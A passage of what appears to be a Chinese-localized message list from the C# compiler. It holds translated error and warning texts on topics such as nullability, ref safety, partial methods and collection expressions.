的参数。 + 无法使用引用初始化按值变量 + async-iterator 方法的主体必须包含 "yield" 语句。请考虑从方法声明中删除 "async" 或添加 "yield" 语句。 + “{0}”未包含“{1}”的定义,并且找不到可接受第一个“{0}”类型参数的可访问扩展方法“{1}”(是否缺少 using 指令或程序集引用?) + {1}“{0}”不能与类型参数一起使用 + 不能在此上下文中使用表达式,因为它可能在其声明范围以外间接地公开变量 + 处理程序参数之后,要进行内插字符串处理程序转换的参数 + 分部方法不能有多个定义声明 + 应用于参数“{0}”的 CallerArgumentExpressionAttribute 将不起任何作用。它采用了无效的参数名。 + 程序集引用“{0}”无效,无法解析 + 此 ref 分配的值的转义范围比目标更窄。 + 静态类不能有实例构造函数 + '“await”要求类型 {0} 包含适当的 GetAwaiter 方法 + 不能在此上下文中使用“{0}”的结果的成员,因为它可能会其声明范围以外公开由参数 {1} 引用的变量 + 隐式键入的 lambda 参数 "{0}" 不能具有默认值。 + 类型“{1}”已保留了一个名为“{0}”的具有相同参数类型的成员 + 无法将自动实现的属性 "{0}" 标记为 "readonly",因为它具有 "set" 访问器。 + 参数类型不符合 CLS + 无法识别的转义序列 + 参数在 XML 注释中没有匹配的 param 标记(但其他参数有) + Switch 表达式不会处理某些为 null 的输入。 + 继承接口“{1}”在“{0}”的接口层次结构中导致一个循环 + 未能在全局命名空间中找到类型或命名空间名“{0}”(是否缺少程序集引用?) + 无法拦截“{0}”,因为它不是对普通成员方法的调用。 + 无法在 catch 子句的筛选器表达式中等待 + 只能使用数组初始值设定项表达式为数组类型赋值。请尝试改用 new 表达式。 + 将 null 文本或可能的 null 值转换为不可为 null 类型。 + 隐式类型化的变量必须已初始化 + 类型形参声明必须是标识符,不能是类型 + 主构造函数 + 必须先完全分配自动实现的属性'{0}',然后才能将控件返回到调用方。请考虑更新到语言版本'{1}'以自动默认属性。 + “{0}”: 结构中已声明新的保护成员 + “{0}”: 静态类不能包含保护成员 + 分配“this”对象的所有字段之前读取该对象,从而导致对未显式分配的字段进行前面的隐式分配“default”。 + “{0}”: 不能在静态类中声明实例成员 + 在显式分配自动实现的属性之前,将向调用方返回控件,从而导致前面隐式分配了'default'。 + 可执行文件不能是附属程序集;区域性应始终为空 + 方法缺少 "[DoesNotReturn]" 注释,无法匹配已实现的或被替代的成员。 + 在此上下文中使用关键字 "base" 无效 + 类型“{0}”在未引用的程序集中定义。必须添加对程序集“{1}”的引用。 + “{0}”添加了接口成员“{1}”中没有的访问器 + 无法识别的选项: “{0}” + 在具有“SecurityCritical”或“SecuritySafeCritical”特性的接口、类或结构中,不允许使用异步方法。 + 无法应用 CallerFilePathAttribute,因为不存在从类型“{0}”到类型“{1}”的标准转换 + “is”或“as”运算符的第一个操作数不能是 lambda 表达式、匿名方法或方法组。 + 数组访问可能没有命名参数说明符 + 无法将方法组用作动态调度的操作的参数。是否要调用该方法? + 范围运算符 + 无法将只读字段用作 ref 或 out 值(构造函数中除外) + 无法截获路径为“{0}”的文件中的调用,因为编译中的多个文件具有此路径。 + 为可能包含多个变量声明符的声明节点调用了 GetDeclarationName。 + 如果具有采用交错数组的重载方法并且方法签名之间的唯一差异是该数组的元素类型时,则会发生此错误。要避免此错误,请考虑使用矩形数组而不是交错数组;使用附加参数区分函数调用;重命名一个或多个重载方法;或是,如果无需符合 CLS,请移除 CLSCompliantAttribute 特性。 + Switch 表达式不会处理其输入类型的所有可能值(它不是穷举)。例如,模式“{0}”未包含在内。但是,带有 "when" 子句的模式可能成功匹配此值。 + 方法“{0}”的签名中的元组元素名称必须与接口方法“{1}”的元组元素名称匹配(包括返回类型)。 + 分配“this”对象的所有字段之前读取该对象,从而导致对未显式分配的字段进行前面的隐式分配“default”。 + 这将按引用返回作用域为当前方法的参数“{0}”的成员 + “{0}”特性在“{1}”中重复 + 异步函数 + 无效的调试信息格式: {0} + goto 无法跳转到同一块中 using 声明之前的某个位置。 + 访问器 {0} 和 {1} 应同时为 init-only,或两者都不是 + 异步方法不能具有指针类型参数 + "else" 不能用在语句的开头。 + 成员将重写过时的成员 + 无法分配给 {0}“{1}”,或将其用作 ref 分配的右侧,因为它是只读变量 + 模式的语法 "var" 不允许引用类型,但“{0}”在此范围内。 + 异步方法不能有按引用局部变量 + Argument {0} should be passed with the 'in' keyword + notnull 泛型类型约束 + 只有自动实现的属性才能具有初始值设定项。 + 具有字段初始值设定项的“结构”必须包含显式声明的构造函数。 + 包含短文件名“{0}”的长文件名已存在,无法创建同名短文件名 + ++ 或 -- 运算符的参数必须是包含类型或被其约束的类型参数。 + 文件本地类型 "{0}" 必须在顶级类型中定义; "{0}" 是嵌套类型。 + 特性“{0}”对事件访问器无效。它仅对“{1}”声明有效。 + #警告:“{0}” + 静态成员不能标记为“{0}” + 不能在属性或索引器 "{0}" 及其访问器上指定 "readonly" 修饰符。请删除其中一个。 + 字段在显式分配之前被读取,导致前面的隐式分配为 'default'。 + 提供的行数和字符数不引用可截获的方法名称,而是引用令牌“{0}”。 + 赋值号左边必须是变量、属性或索引器 + 目标运行时不支持内联数组类型。 + 标记为 override 的成员“{0}”不能标记为 new 或 virtual + 两种分部方法声明(“{0}”和“{1}”)都必须使用相同的元组元素名称。 + “{1}”的参数“{0}”类型中引用类型的为 Null 性与隐式实现的成员“{2}”不匹配(可能是由于为 Null 性特性)。 + 结构成员无法通过引用返回 "this" 或其他实例成员 + “{0}”: 并非所有的代码路径都返回值 + 不能在此上下文中使用“{0}”的结果,因为它可能会其声明范围以外公开由参数 {1} 引用的变量 + switch 表达式不处理其输入类型的所有可能的值(它不是穷举)。例如,模式“{0}”未包含在内。 + 类型“{0}”是“{1}”的嵌套类型,无法转发 + 应输入单行注释或行尾 + 约束不能为动态类型 + 控制离开当前方法之前必须对 out 参数“{0}”赋值 + 预处理符号的名称无效;不是有效的标识符 + “l”后缀容易与数字“1”混淆;为清楚起见,请使用“L” + '显式接口声明中的“{0}”不是接口 + 数组访问 + `with` 表达式的接收器必须具有非空类型。 + “{0}”: 无法重写“{1}”,因为该语言不支持它 + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + 只能在对象初始值设定项中或在实例构造函数或 "init" 访问器中的 "this" 或 "base" 上分配 init-only 属性或索引器 "{0}"。 + 无法将方法组“{0}”转换为委托类型“{1}”(&M)。 + 参数修饰符“{0}”不能与“{1}”一起使用 + 通过 "System.Runtime.CompilerServices.ITuple" 进行模式匹配时,不允许使用元素名称。 + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + 无法将 "{1}" ref-assign 给 "{0}",因为 "{1}" 比 "{0}" 具有更广的值转义范围,允许通过转义范围比 "{1}" 更窄的值的 "{0}" 进行赋值。 + 无法嵌入类型“{0}”,因为它有基本接口成员的重新抽象。请考虑将“嵌入互操作类型”属性设置为 false。 + 不可调用的成员“{0}”不能像方法一样使用。 + ref 或 out 值必须是可以赋值的变量 + 必须提供 SyntaxTreeSemanticModel 才能提供最低程度的类型限定。 + CallerArgumentExpressionAttribute 将不起任何作用;它由 CallerMemberNameAttribute 替代 + 生成器初始化失败。 + 类型“{0}”在未添加的模块中定义。必须添加模块“{1}”。 + 不可在字符串内插中直接使用条件表达式,因为内插已 “:” 结尾。请用括号将条件表达式括起来。 + “{0}”中的命名空间“{1}”与“{2}”中的类型“{3}”冲突 + “{0}”: 静态构造函数必须无参数 + out 参数不能具有 In 特性 + 带有 "in" 修饰符的参数不能用于动态调度的表达式。 + 方法组 + 异步迭代器“{0}”具有一个或多个类型为 "CancellationToken" 的参数,但它们都未用 "EnumeratorCancellation" 属性修饰,因此将不使用所生成的 "IAsyncEnumerable<>.GetAsyncEnumerator" 中的取消令牌参数 + MemberNotNull 特性 + 从未对字段赋值,字段将一直保持其默认值 + 方法“{0}”具有一个参数修饰符“this”,该修饰符不在第一个参数上 + 不能在字符串周围使用非 ASCII 问号。 + "base" 引用需要基类 + 意外的预处理器指令 + 取消装箱可能为 null 的值。 + 类型“{2}”不能用作泛型类型或方法“{0}”中的类型参数“{1}”。类型参数“{2}”的为 Null 性与 "notnull" 约束不匹配。 + “{0}”在此程序集外部不可见,因此不会对它执行 CLS 遵从性检查 + “{0}”的 Using 指令在以前显示为全局使用 + “{0}”: 无法重写,因为“{1}”不是属性 + 在 C# {2} 中,“{1}”类型的模式无法处理“{0}”类型的表达式。请使用语言版本 {3} 或更高版本。 + 变量“{0}”已被赋值,但从未使用过它的值 + 运算符“{0}”不能应用于 "default" 和类型为“{1}”的操作数,因为它是一个类型参数,而且不是已知的引用类型 + 只能在 "#nullable" 注释上下文内的代码中使用可为 null 的引用类型的注释。 + 只允许位置 {1} 使用元组元素名称“{0}”。 + 多个保护修饰符 + XML 注释中有语法错误的 cref 特性“{0}” + 分析器程序集引用的编译器版本高于当前正在运行的版本。 + '现用语言不支持“{0}” + XML 注释中有 paramref 标记,但是没有该名称的参数 + "await" 运算符只能用于异步方法中。请考虑用 "async" 修饰符标记此方法,并将其返回类型更改为 "Task"。 + 无法在实例成员内的主构造函数参数 “{0}” 中使用 ref、out 或 + 无法更新“{0}”;特性“{1}”缺失。 + 未签名的右移位 + 如果存在包含顶级语句的编译单元,则不能指定 /main。 + 只读类型的主构造函数参数不能用作 ref 或 out 值(在该类型的 init-only 设定子或变量初始值设定项中除外) + CallerArgumentExpressionAttribute 将不起任何作用;它由 CallerFilePathAttribute 替代 + “{0}”: 在密封类型中声明了新的保护成员 + 控制不能从一个 case 标签(“{0}”)贯穿到另一个 case 标签 + 无法将 {0} 转换为类型“{1}”,原因是它不是委托类型 + 无法将具有语句体的 lambda 表达式转换为表达式树 + 方法“{0}”为类型参数“{1}”指定了 "default" 约束,但被替代的或显式实现的方法“{3}”的对应类型参数“{2}” 仅限于引用类型或值类型。 + 参数的 “scoped” 修饰符与被替代或被实现的成员不匹配。 + 析构中混用的声明和表达式 + Microsoft(R) Visual C# 编译器 + 行包含的空格与原始字符串字面量的右行不同: '{0}' 与 '{1}' + 无法通过引用转换、装箱转换、取消装箱转换、包装转换或 null 类型转换将类型“{0}”转换为“{1}” + “{0}”仅用于评估,在将来的更新中可能会被更改或删除。 + 指针必须只根据一个值进行索引 + '{0}' 具有 CollectionBuilderAttribute,但没有元素类型。 + 不支持在此上下文中使用函数指针类型。 + 不是有效警告编号 + 两个分部方法声明必须都是只读声明,或者两者都不能是只读声明 + byref 局部变量和返回 + 应用于参数“{0}”的 CallerArgumentExpressionAttribute 将不起任何作用,因为它是自引用的。 + 不能将具有动态类型的实参传递给本地函数“{1}”的 params 形参“{0}”。 + 嵌入互操作方法“{0}”包含主体。 + 与集合初始值设定项元素最匹配的重载 Add 方法“{0}”已过时。 + 动态 + 本地变量“{0}”在声明之前无法使用。声明该本地变量将隐藏字段“{1}”。 + 由于元组 == 或 != 运算符的另一侧指定了其他名称或未指定名称,因此元组元素名称被忽略。 + 不支持类型为 '{0}' 的内联数组上的 foreach 语句 + 退出时,成员必须具有非 null 值。 + 索引超出了内联数组的界限 + 不能在文件的第一个标记之后定义或取消定义预处理器符号 + 无法同时指定编译选项“{0}”和“{1}”。 + 顶级语句 + CallerMemberNameAttribute 将不起任何作用,因为它适用于不允许可选参数的上下文中使用的成员 + 在 checked 模式下,运算在编译时溢出 + 命名空间别名限定符 + 无参数的 throw 语句不允许在 catch 子句之外使用 + 用于模式匹配的操作数无效;需要值,但找到的是“{0}”。 + foreach 语句无法在类型“{0}”的枚举器上使用异步或迭代器方法操作,因为“{0}”是 ref 结构。 + 参数未读。是否忘记通过它来使用该名称初始化属性? + 常量值“{0}”可能在运行时溢出“{1}”(请使用 "unchecked" 语法替代) + 从不使用事件“{0}” + XML 注释没有放在有效语言元素上 + 写入 XML 文档文件时出错: {0} + 泛型 + “{0}”接口标记为“CoClassAttribute”而不是“ComImportAttribute” + “{0}”是一个“{1}”,其字段不能用作 ref 或 out 值 + 使用可能未赋值的自动实现的属性“{0}” + 从不使用字段“{0}” + 这个标签尚未被引用 + “{0}”重复命名特性参数 + 无法引用类型为“{0}”的变量 + "await" 运算符只能在它包含于标有“async”修饰符的方法或 lambda 表达式中时使用 + 表达式树不能包含元组字面量。 + 对同一变量进行了比较 + 不能使用命名参数调用函数指针。 + 对象和集合初始值设定项表达式不能应用于委托创建表达式 + XML 注释中对“{0}”有重复的 typeparam 标记 + “{0}”: 不允许进行以派生类型为转换源或目标的用户定义转换 + 对象或集合初始值设定项会隐式取消引用可能为 null 的成员。 + 类型不实现接口成员。接口中基类型实现的引用类型的 Null 性不匹配。 + “{0}”不是有效的格式说明符 + '不能在包含 ref 条件运算符的表达式中使用 "await" + 参数“{0}”未读。是否忘记通过它来使用该名称初始化属性? + 异步迭代器成员具有一个或多个类型为 "CancellationToken" 的参数,但它们都未用 "EnumeratorCancellation" 属性修饰,因此将不使用所生成的 "IAsyncEnumerable<>.GetAsyncEnumerator" 中的取消令牌参数 + 已导入具有相同简单名称“{0}”的程序集。请尝试删除这些引用之一(例如“{1}”),或对它们进行签名以并行启用。 + 静态脚本变量初始值设定项中不可使用 "await" 运算符。 + 无法使用指定的类型参数继承接口“{0}”,因为它会导致方法“{1}”包含仅在 ref 和 out 上存在不同的重载 + 名称“{0}”不在“equals”左侧的范围中。请考虑交换“equals”两侧的表达式。 + 无法应用 CallerFilePathAttribute,因为不存在从类型“{0}”到类型“{1}”的标准转换 + 仅大小写不同的标识符“{0}”不符合 CLS + 无法将 null 字面量转换为非 null 的引用类型。 + 可访问性不一致: 属性类型“{1}”的可访问性低于属性“{0}” + null 不是有效的参数名称。若要获取对实例方法接收器的访问权限,请使用空字符串作为参数名。 + 打开 Win32 资源文件“{0}”时出错 --“{1}” + 空格式说明符。 + 返回类型的为 Null 性与重写成员不匹配(可能是由于为 Null 性特性)。 + 对进行了带符号扩展的操作数使用了按位或运算符 + 由于此类型的值永不等于 "null",该表达式的结果始终相同 + 针对“{1}”的字段“{0}”的透明标识符成员访问失败。所查询的数据是否实现查询模式? + 委托泛型类型约束 + 参数类型中引用类型的为 Null 性与实现的成员不匹配(可能是由于为 Null 性特性)。 + 无法对 "{0}" 使用数值常量或关系模式,因为它继承自或扩展了 "INumberBase<T>"。请考虑使用类型模式缩小到具体的数值类型。 + 无法应用 CallerLineNumberAttribute,因为不存在从类型“{0}”到类型“{1}”的标准转换 + '“外部别名”在此上下文中无效 + 基类型 '{0}' 的必需成员列表格式不正确,无法解释。若要使用此构造函数,请应用 'SetsRequiredMembers' 属性。 + 在对 "this" 对象的所有字段赋值之前,不能在构造函数中使用 "this" 对象。请考虑更新语言版本以自动默认未分配的字段。 + 这两个条件运算符的值必须都是 ref 值或者都不是 ref 值 + 在此上下文中使用 new() 无效 + 无法嵌入类型“{0}”,因为它是嵌套类型。请考虑将“嵌入互操作类型”属性设置为 false。 + 不能在模块上指定与程序集的 CLSCompliant 特性不同的 CLSCompliant 特性 + 返回类型中引用类型的为 Null 性与可截获的方法不匹配。 + 必须在对象初始值设定项或属性构造函数中设置所需的成员'{0}'。 + 内联数组索引器将不用于元素访问表达式。 + {0}。另请参见错误 CS{1}。 + 无效的基类型 + 所需成员 '{0}' 的可见性不能低于包含类型 '{1}' 的可见性或更小。 + 类型“{1}”中不存在类型名“{0}” + 未找到下列包含标记的匹配元素 + 功能“{0}”是实验性的且不受支持;请使用“/features:{1}”来启用。 + 在显式分配之前,将读取自动实现的属性,从而导致前面的隐式分配为 'default'。 + 类型重写 Object.Equals(object o),但不重写 Object.GetHashCode() + 异步流 + "goto case" 值不可隐式转换为开关类型 + 指定了 /doc 编译器选项,但是一个或多个构造没有注释。 + “{0}”: 继承成员“{1}”未标记为 virtual、abstract 或 override,无法进行重写 + 参数名“{0}”重复 + “{0}”: 静态构造函数中不允许出现访问修饰符 + 不要使用 'System.Runtime.CompilerServices.RequiredMemberAttribute'。请改为在必填字段和属性上使用 'required' 关键字。 + 意外使用了未绑定的通用名称 + 与 “in” 参数对应的参数的 “ref” 修饰符等效于 “in”。请考虑改用 “in”。 + 访问器“{0}”无法实现类型“{2}”的接口成员“{1}” 请使用显式接口实现。 + 两个分部方法声明都必须是扩展方法,或者都不能是扩展方法 + 应输入 catch 或 finally + new 表达式要求在类型后有自变量列表或者 ()、[] 或 {} + 声明了变量,但从未使用过 + “{0}”在具有无法识别的 RefSafetyRulesAttribute 版本(应为“11”)的模块中定义。 + 发现文件尾,应输入 "*/" + 无法从 {1} 编译引用类型为“{0}”的编译。 + 为 “ref readonly” 参数指定了默认值,但 “ref readonly” 只应用于引用。请考虑将参数声明为 “in”。 + “{0}”隐藏继承的成员“{1}”。若要使当前成员重写该实现,请添加关键字 override。否则,添加关键字 new。 + “{0}”不实现接口成员“{1}”。“{2}”无法实现接口成员,因为它不是公共的。 + 文件本地类型 "{0}" 不能在非文件本地类型 "{1}" 的成员签名中使用。 + 接口 "{0}" 不能用作类型参数。静态成员 "{1}" 在接口中没有最具体的实现。 + 应为 {0} SemanticModel。 + ref 条件表达式 + 默认运算符 + 可能无法分配类型 "void" 的值。 + default 字面量 + “{0}”不实现接口成员“{1}”。“{2}”无法实现“{1}”。 + “{1}”类型的模式无法处理“{0}”类型的表达式。 + 在分配“this”对象的所有字段之前,无法使用该对象。请考虑更新到语言版本 '{0}' 以自动默认未分配的字段。 + 指定的选项冲突: Win32 资源文件;Win32 图标 + 指定公共签名时,将忽略特性。 + 类型名称“{0}”是保留给编译器使用的。 + 显式接口说明符中引用类型的 Null 性与该类型实现的接口不匹配。 + 无法使用 "UnmanagedCallersOnly" 对应用程序入口点进行特性化。 + 名称“{0}”不在“equals”右侧的范围中。请考虑交换“equals”两侧的表达式。 + '{0}': 替代继承成员“{1}”时无法更改元组元素名称 + 该程序中的所有用户字符串在合并后,长度超出限制。请尝试减少字符串字面量的使用。 + 应为 { + "l" 后缀容易与数字 "1" 混淆 + 此位置出现意外字符。 + 需要“>”或“/>”来结束标记“{0}”。 + 抛出的值可能为 null。 + 类型参数在 XML 注释中没有匹配的 typeparam 标记(但其他类型参数有) + warning action enable + 由于 "global::" 总是引用全局命名空间而非别名,因此定义一个名为 "global" 的别名是欠妥的 + 应用于形参“{0}”的 CallerMemberNameAttribute 将不起任何作用,因为它适用于不允许指定可选实参的上下文中使用的成员 + 特性构造函数参数“{0}”具有类型“{1}”,这不是有效特性参数类型 + 变型修饰符无效。只有接口和委托类型的参数可以指定为变量。 + 在某些条件下退出时,参数必须具有非 null 值。 + 关系模式可能不能用于“{0}”类型的值。 + C# {0} 中不支持从包含密封 'Object.ToString' 的记录继承。请使用语言版本 '{1}’ 或更高版本。 + 仅 ref 或 out 有区别,或者仅数组秩的重载方法不符合 CLS + “{0}”: 可变字段的类型不能是“{1}” + stackalloc 表达式在类型后要求有 [] + 无效的匿名类型成员声明符。匿名类型成员必须使用成员赋值、简单名称或成员访问来声明。 + 元组不能包含类型为 "void" 的值。 + 不可在 ref 参数上指定 Out 特性,除非同时指定 In 特性。 + 源文件“{0}”指定了多次 + 无法使用对象初始值设定项为类型为“{1}”的属性“{0}”的成员赋值,因为它是值类型 + collection expressions + “{0}”: 结构无法调用基类构造函数 + 类型不实现集合模式;成员不明确 + stackalloc 不能用在 catch 或 finally 块中 + 应是字符串,但是找不到左引号。 + “{0}”不能是外部的,也无法声明主体 + <开关表达式> + 无效的预处理器表达式 + 关键字 "this" 在当前上下文中不可用 + lambda 返回类型 + #load 指令生成了 SyntaxTree,并且无法直接删除或替代此 SyntaxTree。 + 无法识别的 #pragma 指令 + 匿名类型不能有多个同名属性 + 类型参数“{1}”具有 "unmanaged" 约束,因此“{1}”不能用作“{0}”的约束 + 名称“{0}”超出元数据中允许的最大长度。 + “using static”指令不能用于声明别名 + 对同一变量进行赋值;是否希望对其他变量赋值? + 事件从未使用过 + 无法在全局命名空间中声明拦截器。 + “{0}”不包含“{1}”的适当公共实例或扩展定义,因此异步 foreach 语句不能作用于“{0}”类型的变量 + 事件“{0}”只能出现在 += 或 -= 的左边 + 默认参数值在目标委托类型中不匹配。 + 包含标记无效 + 函数指针 + 程序集“{1}”中类型“{0}”的类型转发器导致循环 + 类型“{0}”已经包含“{1}”的定义 + 表达式树可能不包含使用可选参数的调用 + 运算符“{0}”无法应用于操作数“{1}” + 无法打开元数据文件“{0}”-- {1} + 与类型为“{0}”的 null 进行比较始终产生“false” + 作为特性目标说明符的模块 + 递归模式 + 两个接口方法的唯一区别是特定参数是标记为 ref 还是 out 时,可能会生成此警告。最好更改代码以避免此警告,因为运行时调用的方法不明显或不受保证。 + +虽然 C# 可区分 out 和 ref,但是 CLR 会将它们视为相同的。 决定实现接口的方法时,CLR 只选取一个。 + +为编译器提供某种方式来区分方法。例如,可以为它们提供不同名称或对其中之一提供附加参数。 + 不能在文件的第一个标记之后使用 #r + “{0}”未实现实例接口成员“{1}”。“{2}”无法实现接口成员,因为它是静态成员。 + “{0}”未实现接口成员“{1}”。“{2}”无法采用 C# {3} 隐式地实现非公共成员。请使用语言版本“{4}”或更高版本。 + 这将按引用“{0}”返回参数,但它不是 ref 参数 + 无法使用值初始化按引用变量 + 命名参数 + 返回类型只能有一个“{0}”修饰符。 + 预定义类型“{0}”是在全局别名的多个程序集中定义的;将使用“{1}”中的定义 + 表达式树 lambda 不能包含对通过引用返回的方法、属性或索引器的调用 + 自动默认结构字段 + 分部方法不能具有 "abstract" 修饰符 + “{0}”已列入类型“{1}”的接口列表中,其中包含不同引用类型的 Null 性。 + 特性与特性值之间缺少等号。 + 无法更新,因为推断的委托类型已更改。 + 无法将“{0}”元素的元组析构为“{1}”变量。 + “{0}”不实现继承的抽象成员“{1}” + 多个分析器配置文件不能位于同一目录({0})中。 + 对于元素字段为“ref”字段或类型无效的类型作为类型参数的内联数组类型,不支持“内联数组”语言功能。 + “{0}”不能密封,因为包含的记录未密封。 + 变量类型“{0}”没有 new() 约束,因此无法创建该类型的实例 + 无法推理“{0}”类型,因为其初始值设定项直接或间接地引用定义。 + “{0}”: 目标运行时不支持替代中的协变类型。类型必须为“{2}”才能匹配替代成员“{1}” + 只允许在脚本中使用 #load + 仅未命名数组类型不同的重载方法“{0}”不符合 CLS + 参数的引用类型修饰符与被重写或实现的成员中的对应参数不匹配。 + 它会 ref-assign 一个值转义范围大于目标的值,允许通过转义范围更窄的值的目标进行赋值。 + 类似字段的事件 "{0}" 不能为 "readonly"。 + 特性实参必须是特性形参类型的常量表达式、typeof 表达式或数组创建表达式 + 只读结构 + <throw 表达式> + 分部类型 + 给定的表达式永远不会与提供的模式匹配。 + 泛型参数是定义,但应是引用 {0} + An expression tree may not contain a collection expression. + 返回值必须为非 null,因为参数“{0}”为非 null。 + 语法 "var (...)" 作为左值保留。 + “{0}”不替代“{1}”中的预期方法。 + 结构成员按引用返回“此”或其他实例成员 + /noconfig 选项是在响应文件中指定的,因此被忽略 + “{0}”不实现静态接口成员“{1}”。“{2}”无法实现接口成员,因为它不是静态的。 + “{0}”: 属性或索引器不能具有 void 类型 + “{0}”: 继承成员“{1}”是密封的,无法进行重写 + 迭代器不能有 ref、in 或 out 参数 + 索引属性“{0}”的所有参数都必须可选 + 必须先完全分配字段 '{0}' ,然后才能将控件返回给调用方。请考虑更新到语言版本 '{1}' 以自动默认字段。 + 两个分部方法声明必须具有相同的返回类型。 + lambda 参数的用法不一致;参数类型必须全部为显式或全部为隐式 + 无法加载分析器程序集 + 无法推断隐式类型放弃的类型。 + 接口列表中的类型“{0}”不是接口 + 可截获方法和侦听器方法的签名不匹配。 + 意外的关键字 \"record\"。你的意思是 \"record struct\" 还是 \"record class\"? + 元素 + 不支持 'parameter null-checking' 功能。 + __arglist 参数必须是参数列表中的最后一个参数 + {0} 不是有效的 C# 复合赋值运算 + 表达式树不能包含 "is" 模式匹配运算符。 + 无法使用属性构造函数 "{0}",因为它具有 "in" 或 "ref readonly" 参数。 + ref foreach 迭代变量 + 从“{2}”转换为“{3}”时,用户定义的转换“{0}”和“{1}”具有二义性 + 无法嵌入互操作类型“{0}”。请改用适用的接口。 + 表达式必须为“{0}”类型,因为它通过引用赋值 + 程序集不包含任何分析器 + “{0}”没有与函数指针“{1}”匹配的重载 + 正在使用负值对数组编制索引 + 通过引用返回的属性不能有 set 访问器 + 命令行语法错误:“{0}”选项缺少“:<number>” + 对类型“{0}”的引用声称该类型是在“{1}”中定义的,但未能找到 + 对局部变量“{0}”的赋值可能不正确,该变量是 using 或 lock 语句的参数。Dispose 调用或解锁将发生在该局部变量的原始值上。 + 包含 {0} 个元素的元组不能转换为类型 "{1}"。 + 不能在特性值中使用字符“<”。 + 这会获取托管类型(“{0}”)的地址、获取其大小或声明指向它的指针 + 如果记录继承自 object,则记录中的复制构造函数必须调用基对象的复制构造函数,或者调用无参数的对象构造函数。 + 无效的 #pragma checksum 语法;应为 #pragma checksum "filename" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." + 固定式 + “{0}”仅用于评估,在将来的更新中可能会被更改或删除。取消此诊断以继续。 + 位置不在具有完整范围 {0} 的语法树中 + 无法定义新的扩展方法,因为找不到编译器需要的类型“{0}”。是否缺少对 System.Core.dll 的引用? + 返回类型中引用类型的为 Null 性与分部方法声明不匹配。 + 为了可以像短路运算符一样应用,用户定义的逻辑运算符(“{0}”)的返回类型和参数类型必须相同 + 对同一变量进行比较;是否希望比较其他变量? + 内插中的换行符 + "scoped" 修饰符不能与 discard 一起使用。 + 仅大小写不同的标识符不符合 CLS + 参数 {0} 在 lambda 中具有参数修饰符,但在目标委托类型中没有参数修饰符。 + 无效的实数。 + 不能使用 fixed 语句来获取已固定的表达式的地址 + “{0}”没有只使用符合 CLS 类型的可访问的构造函数 + 计算十进制常量表达式失败 + 当使用 "{1}" 退出时,参数 "{0}" 必须具有非 null 值。 + 列表模式 + 标签“{0}”重复 + 无法分配到只读字段(除非在定义了该字段的类型的构造函数或 init-only 资源库中,或者在变量初始值设定项中) + 在退出构造函数时,不可为 null 的 {0}“{1}”必须包含非 null 值。请考虑将 {0} 声明为可以为 null。 + using 别名“{0}”以前在此命名空间中出现过 + 参数 {0} 必须与关键字“{1}”一起传递 + 无法在实例成员中使用类型为 "{0}" 的主构造函数参数 + 应用于参数“{0}”的 CallerArgumentExpressionAttribute 将不起任何作用。它由 CallerMemberNameAttribute 替代。 + 返回类型中引用类型的为 Null 性与分部方法声明不匹配。 + 命名特性参数“{0}”的值无效 + 类型参数“{1}”的约束“{0}”重复 + 无法使用对象初始值设定项为类型为“{1}”的只读字段“{0}”的成员赋值,因为它是值类型 + 在只读结构中不允许类似字段的事件。 + 由于元组 == 或 != 运算符的另一侧指定了其他名称或未指定名称,因此元组元素名称“{0}”被忽略。 + 只能在具有正文的方法中使用 "async" 修饰符。 + Switch 表达式不会处理某些为 null 的输入。 + “{0}”的分部声明一定不能指定不同的基类 + “{0}”不可访问,因为它具有一定的保护级别 + 此上下文中不允许使用抑制运算符 + 继承的成员“{0}”和“{1}”在类型“{2}”中具有相同的签名,因此不能重写这些成员 + 索引器访问需要进行动态调度,但未能如此,因为它是基访问表达式的一般分。请考虑强制转换动态参数或消除基访问。 + “{0}”不具有名为“{1}”的适用方法,但是似乎有该名称的扩展方法。无法动态调度扩展方法。请考虑强制转换动态参数或在不使用扩展方法语法的情况下调用扩展方法。 + “{0}”: 抽象属性不能具有专用访问器 + '"is" 表达式的给定表达式始终不是所提供的类型 + 内联数组索引器将不用于元素访问表达式。 + 目标运行时不支持接口中的静态抽象成员。 + 指定的版本字符串 '{0}' 不符合所需格式 - major.minor.build.revision (不带通配符) + 请不要使用属性的 "System.Runtime.CompilerServices.FixedBuffer" 特性 + 打开 Win32 清单文件 {0} 时出错 -- {1} + UnscopedRefAttribute 只能应用于结构实例方法和属性,不能应用于构造函数或仅初始化成员。 + “{0}”是密封类型“{1}”中新的虚拟成员 + 参数类型中引用类型的为 Null 性与分部方法声明不匹配。 + 表达式树不能包含索引属性 + #pragma checksum 语法无效 + 原始字符串字面量的开头没有足够的引号字符以允许将这么多连续的引号字符作为内容。 + LookupOptions 具有无效的选项组合 + 应为一个长度为“{0}”的数组初始值设定项 + 只读字段无法通过可写的引用返回 + 可扩展 fixed 语句 + 表达式树不能包含 from-end 索引("^")表达式。 + 内联数组 + switch 表达式或事例标签必须是 bool、char、string、integral、enum 或 C#6 及更早版本中相应的可以为 null 的类型。 + 必须提供位置才能提供最低程度的类型限定。 + 添加的模块必须用 CLSCompliant 特性标记才能与程序集匹配 + 类型“{2}”必须是引用类型才能用作泛型类型或方法“{0}”中的参数“{1}” + 提交只能包含脚本代码。 + 记录定义 "Equals" 而不定义 "GetHashCode"。 + “{0}”: 无法重写,因为“{1}”没有可重写的 get 访问器 + 上一个 catch 子句已经捕获了所有异常 + 正在编制可移动固定缓冲区的索引 + “{0}”是二进制文件而非文本文件 + 此语言版本中不支持自动属性的字段针对特性。 + switch 表达式必须是一个值;找到的是“{0}”。 + 无法将“{0}”分配给匿名类型属性 + 使用可能未赋值的自动实现的属性 + 无法打开“{0}”进行写入 --“{1}” + 用户定义的运算符“{0}”的显式实现必须声明为静态 + 空语句可能有错误 + 无法通过方法“{0}”创建委托,因为该方法是没有实现声明的分部方法 + 请不要重写 object.Finalize,而是提供一个析构函数。 + 表达式主体构造函数和析构函数 + 关系模式 + 返回类型中引用类型的为 Null 性与重写成员不匹配。 + 应是应用的文件名、单行注释或行尾 + 当使用“{1}”退出时,成员“{0}”必须具有非 null 值。 + XML 注释中有引用类型参数的 cref 特性“{0}” + 委托“{0}”没有有效的构造函数 + ref 只读参数 + 析构函数必须包含至少两个变量。 + 不能使用值类型“{1}”上定义的扩展方法“{0}”来创建委托 + 可访问性不一致: 基类“{1}”的可访问性低于类“{0}” + goto case 只在 switch 语句中有效 + 这将通过引用 ref 参数按引用返回参数“{0}”的成员;但它只能在 return 